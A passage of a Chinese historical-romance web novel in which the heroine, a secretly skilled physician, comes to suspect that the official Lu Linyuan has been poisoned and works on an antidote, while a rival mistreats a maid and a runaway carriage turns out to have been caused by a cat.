“阮姑娘是疑惑,柳尚书在任多年,威望颇重,二小姐生辰宴现场发生此等恶劣事件,应当是会引起不小震动的。可是最近太过风平浪静了是吗?”陆临渊看穿了阮绮华的潜台词,垂下眸子,小口抿了茶,冲淡些舌尖的苦涩,平静地抛出一颗惊雷。“因为无人报官。”
这话仿佛轻飘飘的朝水面丢下一颗小石子,只是一下,便在阮绮华心中激起一圈圈涟漪。若是她没记错,包含柳家三人在内,当日出席宴会的人员一共十六人。出了这样大的事情,除了她自己,竟无第二人来大理寺要求查案?
“那么陆大人为何不能带人主动去……”阮绮华将疑惑脱口而出,说到一半又将将止住。
是啊,主动去搜查?以何理由?
这十六个人,未曾有一人报官。
是他们对此毫无感触吗?天子脚下,权臣家宴,这样大的事情,怎会毫无感触。那日分明都吓得惊声尖叫。
她想起那日归家的场景,阿爹安抚着让她冷静下来,劝她先莫要将受刺的事情宣扬出去,静观其变更好。她当时觉得这也合理。
可是回过头想想。那日她受了惊,又第一时间独自奔赴了大理寺,归家时已经是满身狼狈。可为何一向宠爱她的父亲,见到她时的第一反应为何不是询问她受了什么委屈,而是先让她莫要宣扬?
仔细想来,那时她尚未开口描述经历的事情,阿爹便已经一副了然的模样。
眼下看来,在她从柳家出来,去大理寺的间隙,怕是早已有人同阿爹打了招呼。或者说,是威胁。
再想想那日秋闱,阿爹收到柳如霜刺激,急切地要上山找她的神情,事情的脉络已经浮出水面。
“是。无人报官,大理寺便不便大张旗鼓地探查。但姑娘可放心,陆某从不妄言,那日在宫宴上的承诺,句句真心。”
宫宴上的承诺。
对面的男人正在目光坚定地看着她,阮绮华回想起那日陆临渊如松竹般立在她身前,掷地有声地替她力排众议,面上的温度莫名攀升。
阮大小姐向来只体验过逗弄得别人面红耳赤,哪有几次自己尴尬的体验。她为自己飞远的思绪感到窘迫,想喝口水躲避对面男人探寻的目光,可一个不注意,喝的太急。
“咳咳!”猝不及防呛咳让她面色愈发绯红。
“刺啦——”对面的陆临渊起身来到她身旁,黄梨木的椅凳与地面擦出一阵声音。
轻柔的安抚一下一下顺着她的脊背,咳嗽的声音渐渐缓下来了。好不容易平缓些,阮绮华突然想到什么,有些僵硬地反过头去。
是什么东西在抚摸她的背?
男女授受不亲,阮绮华虽然张扬些,可男女大防上她还是拎得很清。
她同陆大人应当还没有熟悉到互相触碰的地步。
仿佛是同她心有灵犀,一片天青色的衣料挡住了她的视线。陆大人收回了用大袖隔着的手掌。
她顺着抬头,撞进一双透亮的黑眸里。始作俑者陆大人一副清风朗月,无辜淡然的模样,见她终于平复下来,关切地问道。
“阮姑娘为何要如此激动,可是陆某方才说的有何不妥?”
哪有什么不妥,不过是她自己看多了话本子心里有鬼罢了。
阮绮华心中暗骂,面上勉强挤出笑来,表示只是话说多了,口有些干。
都怪春桃,闲来无事便给她搜罗些时兴的话本,,什么风流书生俏寡妇,什么霸道摄政王爱上我,美其名曰让她拓宽视野。
真是害人不浅,回去就一把火给它烧了。
“没有就好,平日公务在身,陆某鲜少同女子交流,若有何处不周,冒犯或者惊扰到了姑娘,还请姑娘海涵。”
高高在上的陆大人竟因为冒犯了她,作势要拱手向她行礼。
阮绮华赶紧拦下。“大人切莫如此,为守护社稷您已经牺牲够多。若无意外,接下来几日正午我都会来送药,若您不嫌我聒噪,我们可多交流些。”
听说陆大人的父母均早早为国捐躯,大人公务繁忙,不是泡在如山的卷宗之中,便是忙着防备朝堂的尔虞我诈。偶尔抽空还得照顾福宝,闲暇的时间都寥寥无几,更不用说同外人交流。
难怪被外人传成心机狡诈、玉面修罗的模样。多半是被朝堂的政敌传出,陆大人这般淡泊的人,既无时间也无心力去纠正。
想起一开始自己同阿爹对陆临渊的防备,阮绮华看向男人的眼神里带上了怜悯与愧疚。
“大人,饭菜已备好,是否现在用膳?”
李三打断了现场的诡异气氛。陆临渊方才被阮绮华怜悯的眼神看的发毛,此时果断吩咐道“传膳吧”。
-
日头懒洋洋地洒进来,刚出炉的菜肴热气升腾,在阳光下氤氲散开。
轻柔的水雾拢在面前对坐的男人身上,更显得他面容清癯,眉眼如画。许是日光太盛迷了眼,从阮绮华的角度看过去,陆临渊的眼中隐隐有着期待。
“多谢阮姑娘怜我一人孤独,赏光陪同用膳。还请切莫拘束,快尝尝合不合胃口?”
说罢,将面前的蟹粉狮子头往她的方向推了推。
从早上一刻不停到现在,茶水在腹中滚了几遭,让整个胃里不剩多少油水。这狮子头是她的家乡菜,粉嫩莹润,香气扑鼻,吃惯珍馐的她此时也忍不住食指大动
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阮绮华举箸往嘴中送了几口,心下了然。这厨子是用了心的,里头的几样香料放得若有似无,恰到好处,说是宁州最地道酒楼的首厨也是当得起的。
哪里是陆临渊口中随意家常菜的样子。
菜肴合胃口,阮绮华也不是个扭捏的性子,当下便把桌上的菜色都尝了尝。夹菜间隙,她的余光发现陆大人不知何时已经停了筷,只顾着注视着她吃。
面上还隐约带着满足的诡异微笑。
这是干嘛呢?
她想开口问询,却又咽了下去。阮家商贾出身,喜欢热闹。平日里对她的约束少些,也不讲究什么食不言的规矩,但她初次来陆府,也不止陆大人这般规矩之人,是怎么个习惯。当下便只能疑惑地歪着头,用眼神示意。
“抱歉,抱歉。陆某唐突了。”陆临渊被打断,意识到自己的行为属实唐突,连忙道歉。“平日里府里只我一人用膳,家父家母去的早,我许久没有见到这样温馨的吃饭场面,不小心看得入迷,回忆起了往昔。”
阮绮华听言,方才那种愧疚与怜悯的感觉又涌上了心头。她愈发庆幸方才答应了这几日过来用膳的决定。
她已然忘了到府上的第一日,荣伯提醒她要注意同陆大人的距离。或许记得,但是陆大人救她性命数次,她早已放下了些防备。
阮绮华抿着唇默默思忖,要不然回去跟阿爹阿娘商量一下,往后让陆大人同他们一块用膳?左不过添双筷子的事情。
“阮姑娘用膳很香,应当是饭菜还合胃口,那便再好不过了。还请多吃些,莫要被我扰乱了食欲。”
陆临渊似乎有些不好意思,抬手给她夹了一筷子蒲菜。
北地寒凉,蒲菜是淮扬的产物,这道开阳蒲菜做的滑嫩入味,是她爱吃的。
不过她嘴中咀嚼着,却皱起了眉。
陆临渊不知阮绮华在想什么,只见到她神色不对,神色中掺杂了紧张,“可是方才被我打断了,失了胃口?”
那倒不是。
阮绮华摆摆手,她只是在想,不爱吃东西对病人来说,可不是什么好习惯。
五谷为养,人的体魄是需要食物来温养的。陆临渊如今的身子本就算不得强健,每顿吃得这样少,无异于自我伤害。
身为医者的习惯让她止不住皱了眉,语气中不自觉地带上了指责,“陆大人吃的未免太少,这样身子如何能好得起来?须再多添些饭菜。刚好我今日带了阮家府医上门,一会儿用完膳,让府医给大人瞧瞧。年纪轻轻,莫要亏空了身子。”
瞧府医?一天一碗药还不够吗?
陆临渊面色一僵,举着汤匙的手禁不住微微颤抖,险些将汤汁洒落。
阮绮华可顾不得他的心虚。讳疾忌医更是个大毛病,陆大人怎可在这件事上拎不清。
想必还是平日里无人关心。她想到陆大人早逝的双亲,心中莫名多了些责任感,愈发正色道。“平日里案牍劳神,大人耗了元气,胜在年轻,现在补起来应当不难。只切莫讳疾忌医,小病拖成大病,大人应当清楚,身为男子,身体太虚不行的。”
16. 你的柔弱可是伪装?
也不知是谁在磨蹭,这顿午膳足足用了半个时辰。
阮绮华被身为医者的责任心左右,硬是盯着陆临渊将面前的饭菜吃了个七七八八。
不得不说,陆大人这样的人物,即便是用膳,一举一动之中也像极了设计精细的人偶,除了面色有些僵硬,画面堪称艺术。
美人的砒霜下饭图也是美的。
二人用过膳,净了手,陆临渊似乎还想说点别的什么话来,拖延拖延时间。可刚要开口,已经被阮绮华察觉到了他的心思。
原先在宁州时,她蒙着面坐诊,碰到过不少这样的例子,支支吾吾被媳妇拉来的男子最是常见。她现在已经基本认定了这是一位不听话,还有些讳疾忌医的病人。
她心中有了几分数,目光温和下来,假装不经意地瞟向陆大人的脐下三寸。外袍遮遮掩掩,其实看不出来什么。
但观陆临渊的面色,前阵子寒疾未愈,深秋的天气还穿得这样少,吃的也少,怕是已经寒气入体。
寒性伤身,久而久之难免会造成些子嗣繁衍的难处。也难怪陆大人出任高官多年,不近女色。
她这样想着,不知不觉已将周身张扬的锐气缓和下来,凤眼看向陆临渊的眼神中只剩似水的柔情与关怀。
明礼堂中只剩下陆大人端起茶盏默默漱口的声音。
“哒——”
磨蹭半天,也终究拖不过多久。茶盏被轻轻放下,男人在阮绮华的注视下挺直了脊背。一副随时准备舍身就医的模样。
拿着密信的李一彦匆匆踏入时,见到的就是这样的一番场景。
“大人,阮姑娘。我”是不是打扰了?
“李副使,你来的正好。我同阮姑娘刚刚用过午膳,可是大理寺有何急事要报?”
李一彦打招呼的话还未说完,一向沉稳的陆大人便起身迎了上来。
还是儒雅随和,笑意清浅的一张脸,抓住他的两只手却像铁钳一样有力,李一彦被按得结实,被迫吃痛微微抬头。
面前的上级正垂眸看着他,水润的双目中带着威胁。他不明所以,只能艰难地在强烈的压迫性下移开些视线,偷偷瞄一眼椅子上凤眼微眯的阮姑娘。
嘶,方才进来时门口的下人叨叨什么来着?
阮家姑娘带着人上门提亲了?
李一彦当然知道下边的人传话向来不甚靠谱,虽说外头八抬十六箱的礼和上头挂着的大红绸子确实像那么回事,更别说连京城有名的吹奏手艺人都被请在了队伍里。
但他的脑子多么机灵,一眼便知,若真是上门提亲了,他家大人能是这副苦大仇深的模样?
再说了,上次相见,阮姑娘可还当着大人的面夸自己英明呢。进展哪有这样快。
不过瞬息,他便大致有了主意。
身子微微一让,便从陆临渊手中挣扎开来,冲着阮绮华抱拳行礼。
“属下鲁莽,不知主子同阮姑娘正在议事,姑娘没受打扰吧?”
“李副使客气了,大理寺公务繁忙,论打扰,是我今日上门叨扰了才是。李大人可是找陆大人有紧急公务?若是不急的话,可否稍等片刻,容我让带来的府医给陆大人瞧瞧身子再走?”
“我阮氏府医师从名门,对温养调理身子方面颇有些心得。”
看大夫?瞧病?
这是好事啊!
来得早不如来得巧,李一彦眼尖地瞟到了桌岸上尚未撤走的药碗,心下啧啧。看来这是已经喝过一剂了。
他算是弄清楚为何方才大人向他求助了。
他眸子一转,左右牢里那位也不会跑,如此良机,当然是借着阮姑娘的面子劝大人养养身子要更优先。
假装没看到自家大人飞来的眼刀,他微笑着向阮绮华摆手,“我这边不过是一点小事,不着急的。大人的身子要紧,江南来的名医甚是珍贵,得让大人好好瞧瞧。”
“大人苦啊,平日里也没个知冷知热的体己人,做下属的想关心也不敢管,还得多谢阮姑娘细心。”
客套话不必太过当真,但李一彦话里的意思无疑是支持她的。于是她也不再扭捏,不待陆临渊发表意见,便随手招来了下人,吩咐道。“请王大夫进来吧。”
在外等候已久的府医王永全听了令,背着行医箱,缓步走至屋子中央,先是向站着的二人行了礼。
“见过各位大人。”
阮绮华示意下人搬来椅凳,好让他替陆临渊面诊。“王大夫,陆大人身负重任,身子金贵,还请您务必将脉象细细看了,日后也好加以调养。”
说罢,给王永安递了个眼神。
陆大人万万想不到,他以为的帮手居然是推他一把的人,事已至此,也不能再扭捏了。
顾不得再瞪一眼愚笨的属下,陆临渊的唇角向下抿了又抿,总算是伸手掀袍,坐上一旁的太师椅。当着众人的面,将袖口稍稍挽起,露出一截白皙到透着脉络的手腕来。
“王大夫,请吧。”
阮绮华一面饮茶,一面假装不经意地盯着王永安的每一个细微表情。
探诊不过片刻,王永安便朝她递来一个古怪的眼神。
陆临渊也注意到了府医的纠结,眉毛当即一颤,声线带了些紧绷。莫不是被看出来了?
“王大夫可是发现了有何不妥?不妨大胆开口。”
王永安又是同阮绮华对视一眼,然后转回看陆临渊的目光也带上了犹疑,他斟酌着开口道,“大人的脉象,确实有些古怪。”
“何出此言?”
“嘶,方才诊脉之初,我确实探到了强劲有力,壮年男子的脉搏,大人虽稍有些过劳引起的疲惫,可是……”“王叔您有话可直说,陆大人为人温和,必不会怪罪于你。”
李一彦在一旁干干看着,他的角度,瞪着眼也见不到王、阮二人的眼神交互,只知道这位江南名医,一下一下地吊人胃口,终于忍不住开口催促。
陆大人身子不好,靠宫里那位搜罗来的天珍地宝才维持表面的强健,这事他是知道的。
“可是后半段的脉象却如丝如缕,恕我才疏学浅,对后半段感知到的微弱脉象,暂且一知半解。”王永安的声音中带有羞愧和紧张,身为医者,他清楚的知道自己的局限,他擅医,但一身医术多为走诊时的积累。此番脉象,看起来却是……
“或许是我能力不够,探脉不准。陆大人年纪轻轻,体魄正强盛,或许可以再探一次呢?”
“不必了。”
难不成真是陆临渊装柔弱,故意骗她?
阮绮华不动声色地看着陆临渊二人的反应。
对这样的诊断,二人虽然都没有明显的表情,但她却从陆临渊的脸上莫名看出了如释重负感。
不对,后
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半部分的微弱脉象,大概率不是误诊。陆临渊确实是有意隐瞒自己身体的问题。
她在脑海中细细回想,虽说医毒不分家,但学医者多有长板与短板。
王永安便是典型的擅医之人,常规的寒症发烧自是不必说,哪怕是疑难杂症,也有一试之力。
能让他拿捏不定的。那就多半是中毒了。
但陆临渊位高权重,自己武力高强,围猎手到擒来,周身又有多名暗卫贴身保护,虽是身子单薄些,但她从未想过有被人下毒这种可能。
这头阮绮华心中游移不定,旁边的陆临渊却语气轻松地说道。
“王大夫医术高明,本官确实身子还算可以,只是最近天气转冷,显得稍有虚弱。方才阮姑娘已经将你配的药提了来,我服用之后,确实感到寒气疏散了些。”
“方才后半段未有似无的微弱,兴许是我昨夜恰好休息不佳,为城南的案子劳累了些。”
陆临渊微微扯起嘴角,对李一彦露出一个笑来。
“李副使,你今日来应当也是为了城南的那个案子吧?”
李一彦知道自己若是再假装看不懂,便要遭罚了。
他是多精的人,自然不可能接不住,此时流畅无比地顺着话从怀中掏出信笺来,“是,大人,这是那边回来的信。”
“阮姑娘,您看……今日的诊断是否就先到这里?”
阮绮华此时被方才诊脉的异象占满了思绪,正准备寻个由头回府,李一彦这样一提,自是从善如流地应下来。
“那边多谢大人今日的款待,不过,陆大人,可否稍微借一步说话?阿爹还有一物托我务必带给您。”
“正好,我手头也有一物,想要送给阮姑娘。一彦,你可先去书房等我片刻,我将阮姑娘送出府去。”
王永安见状,知趣地向阮绮华行了礼,也先行告退。
四下无人,阮绮华终于将怀中的信封拿了出来。
薄薄的信封表面,上书几个大字,阿爹特意嘱咐她勿要偷看。
陆临渊伸手接过,并未当她的面拆开,只随意看一眼纸面,面上便出现了动容。
他将信封贴身收好后,当即朝阮绮华拱手,“信我已收到,还请姑娘替我转告,多谢阮伯父出手相助,晚辈定将妥善处理。”
“陆某此处也有一物,想送给阮姑娘。”
说着,从袖中拿出一物来。
那圆筒状物通体用玄铁制成,小巧精致,在光下泛着冷光。
“这是梅花袖箭,每次装箭六支,如有需要,可连续发射。虽用玄铁制造,但锻造时我稍微改了几处,应当是不算沉重,你可试试趁手否。”
冰凉的袖箭入手,阮绮华不禁感叹,确实轻巧,她不是未曾见过袖箭之类的防身物品,但阿爹花大价钱找工匠,为她量身打造的武器,也比不过此物精致。
此物虽小,危急时刻却有大作用。若是再碰到那日围猎时的险境,想必她不会再那样被动。
得了宝贝,她唇角止不住地上扬,连发丝都愈发明媚,冲陆临渊道谢。“陆大人心灵手巧,此物我甚是喜爱,真是多谢大人了!”
“姑娘喜欢就好,陆家不似京中别的高门大户,拿不出什么值钱之物,此物能得姑娘青睐,是它的福分。”
“若姑娘不嫌弃,日后也可称我名讳,唤我临渊便是。”
17. 不算身弱
明礼堂是待客的堂院。
即便是二人步伐悠然,不过一刻钟也走到了门口。
阮绮华正爱不释手地把玩着袖箭,倒是没想到陆临渊会向她提出称谓上的请求。
说起来,她同陆大人也是有缘。
入京不足两月,大部分时间竟都阴差阳错地跟陆大人呆在一块。
而且……还被对方救了数次,救命之恩,不说以身相许,总归也不该是这样陌生的。
虽说阿爹让她注意距离,但换称呼之事合理,阮绮华当即也不再扭捏,颔首笑道。“好,那便多谢临渊兄的照拂。”随后示意陆临渊停下,独自踏出陆府大门,笑意盈盈,“就送到这里吧。不过两步路的距离,明日我再来送药,也不必相迎了。”
确实是两步的距离,两家的大门甚至是挨着的。
她从陆府的大门出来,转身便进了自家的府宅。
一刻不停地穿过连廊,踏过院落,果然,见到了在花厅等她多时的王永安。
阳光错落着从树影中洒下来。
随着她的脚步,照在她的身上。
王永安见她归来,从椅凳上恭敬起身。
阮绮华摆摆手示意他坐下饮茶,今日王永安跟着她同去陆府,劳累已久,方才在陆大人和李副使面前不便多言,眼下她已经等不及早些切入正题。
“王叔,今日的脉象烦请您再跟我细细说一遍。”
她不便暴露身份,请脉一事只能借王永安的手。
王永安是府里为数不多的知道她医术功底的人之一,也是她的启蒙师傅。向阮父提议让阮绮华学习医术的便是他。
起初阮父只当王永安在哄他,所谓极高的天赋,难免有夸张的成分,毕竟他阮氏世代从商,既无传承,也无环境熏陶。平白出来个医药天才,如何可能?
直到阮绮华用一年便掌握了王永安半辈子的积累,阮父这才惊喜又担忧地接受这一事实。
医者对自己的水平有清楚认知,陆临渊的脉象有异,王永安稍加判断,便知道仅靠自己的经验是解决不了问题的。
他了解陆大人身份的特殊与事件的严重,此时也无心闲谈,只一刻不停、事无巨细地同阮绮华描述方才诊脉时的细节。
“……所以,我怀疑,陆大人如今的情况,恐怕不是什么劳累导致的自发疾病,而是中毒。”
陆临渊官职特殊,日日查案探案,干的都是得罪人的事情,盯着他希望他出事的恐怕不在少数。方才周围人多眼杂,他不便说出猜测,此时四下无人,王永安便也不再遮掩。
“小姐可有什么思路?”
相比治病,解毒时通常需要医者有更加敏锐的洞察力,和对药物更深的了解。
阮绮华恰好就满足这两者。
她方才便有对中毒的猜测,此时听完王永安的话,心下的判断更加清晰。
在江南跟随师傅学医时,她曾凑巧见过村落中一本老旧书籍的记载,水边有一类剧毒植物,食用该物的患者,初时症状不明显,同一般寒疾无二。到了中期,患者甚至会感到身体比原先更加强健。
若到了中后期,将会只留表面的繁荣,内里却发虚直至死亡。毒素霸道且缠绵,前期发展缓慢,难以察觉;只能到了后期,迅猛起来才让人发觉,却已经极难控制。
按照王永安方才的描述,方才已经能够诊出虚弱的迹象,那么陆临渊如今的状态,极有可能已经进入毒发的中后期。
阮绮华忍不住心里一紧。
怪她那时只不过匆匆瞄了几眼,没来得及看完,便被师傅叫去帮忙。如今只能说是半知半解,且为了不暴露身份,她现在还只能靠猜来判断患者的情况,无法对症下药。
真是给她出了个大难题。
上好的雨前龙井在茶盏中沉浮,她垂眸看着茶叶,红唇不自觉地抿起。
她不太喜欢这样被动的感觉。
沉默半晌,她想起什么蹊跷之处,蹙起眉心,看向王永安。
“若我的判断无误,那这毒的根源应当是来自淮南静水边的一种植株,至阴至邪,极其稀少,生长环境也极其苛刻。喜阴暗潮湿,离开了水源,便会很快失去药性。”
“可据我所知,京城陆氏世代簪缨,满门文臣,一直在京中扎根,又怎会接触到此物?”
对阮绮华的疑问,王永安无从解答,他对下毒制毒解毒的理解远不及阮绮华。
但他似乎听说过一件事,可有的话的确不适合从一个小小府医中说出。他略一沉吟,斟酌着开口。
“小姐,我虽不了解毒物,但凭我猜测,陆家位高权重,祖上有从龙之功,陆大人又为帝王辅佐朝政多年,颇受景仁帝看重。虽为人淡泊,但浸淫官场多年,在京中难免有些对他眼红之人。此毒的来历,恐怕是与早年间官场的争斗脱不开关系。”
说到这里,他顿了顿,到底还是留了三分。“若是小姐想深究其根本,不妨日后问问阮大人。”
“阿爹?”阮绮华没想到会扯到父亲身上,不禁怔楞了一瞬,美目闪烁。
江南自古为富饶之地,富得多,没有背景被有心人一句话打杀了,抢夺了财产的更多。
阮绮华只是没兴趣插手家业,但并不傻。她心中早清楚她的父亲并非简单的商人,否则也不能坐着小小县官的位子,便将她们母女和偌大家产护得密不透风。
更别提那日宫宴,景仁帝语带嘲讽的质问。
......“是如何提拔入京的,自己还不清楚吗?”
但手伸得再长,对于远在千里之外的京城,核心京官之间的阴私勾当,阿爹居然还有了解?
这是她未曾想到的。
“不过听小姐您刚才的描述,想法子给陆大人配药解毒,恐怕才是眼下最要紧的事情。”
阮绮华清楚,王永安说的有理。
官场的结一时半会儿难有头绪。初来京城时,阿爹对陆大人的态度暧昧,总的来说防备的更多些。哪怕是因为数次救命之恩,让他对陆大人的态度转变,但阿爹向来不让她插手官场之事,若想从他嘴里撬出话来,难度无异于登天。
所
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以眼下最要紧的,便是陆大人这一转冷便虚下来的身子。
王永安坐在对侧,双手恭敬地交握于膝。
面上不露声色,眼睛却一错不错,将阮绮华方才问话时,面上被挑战激起的好胜心,和不自觉流露的几分心疼与愤怒尽收眼底。
老爷的担心不无道理,小姐对陆大人的态度,在不知不觉中已经软化。
阮绮华沉浸在思绪中,周身被愤怒缠绕。
凭什么?
陆氏满门清贵,陆大人身居高位,却从不以权欺人,甚至面对滔天的权势急流勇退,撑着病体为案件奔波。
这样不争不抢,体恤爱民的官员凭什么要被奸人所害?
她想起陆大人在颠簸的马车上伏案,想起皇城西止不住的咳嗽声。
阮绮华暗自下定决心,她是医者,也是受大人恩惠的人。不论是出于报恩,还是出于医者的挑战欲,又或者别的莫名情愫,她都要治好陆大人。
-
与此同时,柳家二小姐的院落。
日光的暖意似乎照不进此处,气氛阴冷得拧得出水。
面容姣好的女子正随意将茶水倒在面前跪着的丫鬟头上。
滚烫的茶水顺着发丝,贴着面颊往下落。茶叶黏在脸上,带着滚烫,丫鬟吃痛,却不敢出声,也不敢将茶叶摘下。
她知道上面坐着的女子憎恶喧哗,所以即便双颊烫得通红,也只能咬紧牙关死死忍住尖叫,只敢小幅度地晃动身躯。
“你方才说什么我没听清楚,再说一遍?”
软和平淡的声音响起,在地上跪着的人耳中,却像是催命的符咒。
“回,回小姐,是柴房那位不见了。”“啪!”
青花的瓷盏直直地朝着她的脸砸过去。
碎裂的瓷片散落一地。满屋的丫鬟婆子大气也不敢出,战战兢兢唯恐被暴怒的柳如霜盯上。
“小姐饶命,小姐饶命啊!”
“几时不见的?”
“回小姐,昨夜子时,当值的拿柴火时,人还在里边。一直到今天中午再过去,就发现人不见了。”
“你的意思是,丢了整整一晚上加上大半个白天的时间?”
不待对方回答,柳如霜已经起身,轻飘飘地走到丫鬟面前。
精致小巧的绣花鞋落在她的手上,随意碾压。
尖锐的瓷片深深扎入掌心,被迫滑动时,左右撕扯,一片血肉模糊。
“啧,连个断了腿的废物也看不住,怎么做事的?”柳如霜不甚在意看一眼脏了的鞋子。
斜睨一眼身边的大丫鬟连枝,对方立即会意,当即便捧着新鞋奉上,然后指着周围站着的护院吩咐道,“愣着干什么,还不快派人去找?”
柳如霜倒不太担心人会不会真的丢了,一个断腿的哑巴,能走多远?
她比较好奇一个这样的人,是怎么从紧锁的房间中逃出去的。
若是有人相助......,柳如霜精致的面庞上划过阴狠。
“连枝,你陪我去柴房走一趟。”
18. 刚出国库就被劫
送走王永安,阮绮华一头扎进自己的院中。
一众丫鬟婆子都不许接近,她需要集中精神。
日头从高悬的正中,默默下坠。余晖斜斜地从窗里晒进来,在地面斑驳。
桌案上的书已经高高堆起,纸张散落一地,上面是写满又划掉的一个个药名。少女被一圈杂乱围在中央,却浑然不知,只顾着闷头思索新的解毒方案。
桂枝性温,通常是治疗寒症的首选,但它与解毒的白术相克。若用作替代,紫苏又过于辛辣,霸道强烈,陆临渊的身子不一定承受得住。
都不行。
又是一个纸团从高耸的书堆里飞出,阮绮华忍不住烦躁,泄愤似的重重搁下笔——几乎是丢下去的。
被甩出去的笔杆歪歪斜斜地搭在桌上,尖端湿润的墨汁瞬间在一旁纸张上洇出一个墨团。
底下的一沓纸都被染上了墨色。
“啧。”
还是没思绪。
怕她久坐伏案伤了眼,春桃早早将书房内外掌上灯,此刻明灭的烛光下,阮绮华狭长的凤眼中压抑着情绪。
“小姐,宫里来人了。”春桃小声来报。
宫里?宫里又来的什么污糟人。
怕不是是柳家那位又联合荣贵妃来挑事。
一想到陆大人身上的毒极有可能就是这帮蛀虫下的,她心中燃起一股无名火,本就不佳的面色又沉了沉。
仅剩的理智告诉她,家族被针对的事情尚未解决,陆大人那边也遇了危机,此时公然与皇室对抗不是个好法子。
于是只能绷着脸,将火压了又压,仍由春桃替她整理仪容,然后出门接旨。
“奉天承命,皇帝诏曰。阮氏女在秋闱中有勇有谋,成绩斐然……”
先夸后贬,是官家的常见手腕。阮绮华跪地接旨,头恭敬地低垂下去,心中默默等待冯保说出明褒暗贬的话来。
归来的当夜,她便听下人转述了评审的全过程。听到自己的成绩将本该获得第三名的柳家小姐挤下去,挤丢了她参加皇室游湖的资格时,她便想到了对方心里怕是新仇加旧恨,过不去了。
她自认不是什么悲悯众生的圣人,柳家那位图谋已久的东西被她抢了去,她没有半点愧疚。只是不知对方葫芦里卖的什么药。
禄根都已经被她碾成了粉,对方还能抢了回去?
她静静地等待后半段,却不想听到的是……?
什么?
她有些惊讶地抬起头,预想中的刁难没出现,反而是冯保公公满面春风,笑得真心实意,“阮姑娘,莫不是高兴傻了么?圣上有赏,您接下来半月的时间,可随意取用国库的药材,不必向任何人汇报。”
“咱家可提醒您,陛下对您在秋闱中的表现很是赞许,阮大人只是在朝中提了句您最近有些伤寒,陛下便专门为您开了国库。”
“阮姑娘您可莫要辜负了陛下的好意啊!”冯保提醒似的看了阮绮华一眼,然后将手中的拂尘轻甩一下,示意后方的侍从将文书送上。“这是陛下给的文书,若有人阻拦,姑娘可以此为据。”
父亲提了一句,陛下便给开了国库?
打开国库让她选当然是个好消息,原本桎梏于手头的药材,在解毒方案上遇到的困难确实解决了大半。
但这样的看重下,原本称病逃避游湖的计划,怕是走不通了。
阮绮华自然没漏过方才冯公公警告的一眼和语气中的提醒,司礼大太监冯保在景仁帝跟前伺候多年,他的态度,多多少少代表了景仁帝的态度。
思及此,她伏地行礼谢恩,然后伸出双手,恭敬地接过文书。
“谢谢公公。”接过文书的间隙,她向身后的春桃使了个眼色。
“阮姑娘起来吧!咱家也只不过是个传话的,要谢呀,还是得多谢谢陛下的隆恩。陛下关心您,咱家也提醒您,三日后的游湖,您可多穿些,湖上风大,莫要再染了伤寒去。”冯保脸上的笑意不减,上下嘴皮子随意一碰,说的话便让人挑不出错来。
“时辰也不早了,咱家就先行回宫,还得伺候陛下用晚膳。”
“春桃,送送冯公公。”春桃跟着阮家多年,自是会意,借着送人的间隙,将满满一袋金瓜子献出去。
偌大的院落忽然安静下来,只剩下阮绮华拿着薄薄一纸文书立在原地。
如今的情况,事情的走向与她想的完全不同。自秋闱之后,景仁帝对她的态度莫名转好,甚至派人特意来私下追加赏赐;赏赐的内容好巧不巧是她最需要的药物,虽说有阿爹的说法在,可是。
陆临渊中毒的事情,不过是几个时辰之前她才得到的猜测,除了王永安,她未曾对他人提起。但王叔是她的启蒙老师,于她不若亲人,随她一家入京不过数月,于情于理都没有泄密的理由,更别说向宫里那位泄密。
她努力抛下杂乱的思绪,重新投入到解药的配制。
不论如何,开药房是件好事。
宣纸用了一张又一张,乌衣巷深处的烛光一直燃到了深夜才熄灭。
好不容易写了一版方子,阮绮华一身疲惫地上了榻。
宫里景仁帝的态度、柳家父女的阴谋、自家的境遇,纠缠着拧成绳结,又让她辗转反侧。
她想起桌岸上放着的解药秘方,病人的脉都摸不到,心里深深的无力。
入的什么破京,她心中早不知道骂了多少遍。
不如直接给陆大人药晕了诊脉,然后带回江南治。
翻着花儿给他养,还愁不给他养得白白胖胖?
这一夜是彻底睡不着了。
一早却还要去按着方子拿药煎药。
说好的午时去送药,还得看着病人用午膳,说出去的话泼出去的水,再如何也不能寒了病人的心吧。
她想起陆临渊瘦削的身形,咳嗽时苍白的脸,心下叹息。
认命地从床上起身,迷迷糊糊坐上摇晃的马车。
到库房门口时,天色尚且蒙蒙亮。
才寅时啊!
她有一搭没一搭地胡思乱想,难怪阿爹抱怨那么久,对上朝的时间深恶痛绝。
又冷又困,魂还在榻上,人就要站在御前,顶着掉脑袋的风险跟一
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帮人精过招,这哪是人过的日子。
许是地位高的总领们都上朝述职去了,看守的皇家御林军接了文书便放了行,省了她些口舌。拿药的过程出了奇的顺利。
返程的路上,她捧着药材,正坐在马车上昏昏欲睡。
一声惊叫从帘子外传来。
“啊!!!”
阮绮华尚且没来得及问话,又是一声凄厉的猫叫声响起。原本缓缓前行的马车发了疯似的横冲直撞起来,等不及多想,她的双手圈起,死死护着怀里的药材,本能将身子蜷缩起来,整个人被迫跟着马车左右摇晃,一夜未眠的头疼加上颠簸的冲击,她感觉自己被撞得快散了架。
脑海中快速划过可能出现的情况。
被人截杀?劫财还是劫色?
一片混乱中,她唯一庆幸的是今早鬼使神差地带上了袖箭。
“小姐,您没事吧?!”
车夫终于死死拉住缰绳,用尽全力将马儿安抚住,让马车稍微平静些许,见缝插针地问阮绮华的情况。
车里的她不知外头是何状态,不敢轻易应答。待到马车平静下来,车夫再次询问的声音响起,她仍旧保持着将装有袖箭的手对准车帘。
好半晌,阮绮华才平复下来呼吸,悄悄掀开车帘的一角。
外头将将擦亮了一线光,阴雨天一般灰蒙蒙的。
临近入冬,天亮得晚。她只能借着微弱的光线,费劲往外望。
车夫此时正背对着她,手握缰绳,一眼望去,除了车夫,似乎空无一人。
观察过后,阮绮华才开口问道,“我没事,刚刚发生何事?”
“回小姐,方才一只野猫突然从角落窜出,朝小的面上抓过来,小的一时不备,没控制好马儿,让您受惊了。”车夫将马儿赶至一处光线稍好的地方,阮绮华这才看清了他脸上的伤痕。
几道印子从右边额角斜贯面中,有些破皮,但伤口不深,不算十分严重。
反倒是马儿头上的几缕鬃毛在慌乱中不知被谁扯了下来,秃了一片,颇有些滑稽。
这一切事故的始作俑者是全场最淡然的,阮绮华看过去时,正背对着他们淡定舔毛。
这个背影……有点眼熟。
脖子上布条破破烂烂,只能依稀让人分辨出颜色,但阮绮华却无比清楚地知道这是它的小褂子。
“福宝?”
舔毛的动作顿了顿。
顾不得脏污,阮绮华快步冲上,将它搂在怀里仔细检查,真的是福宝。
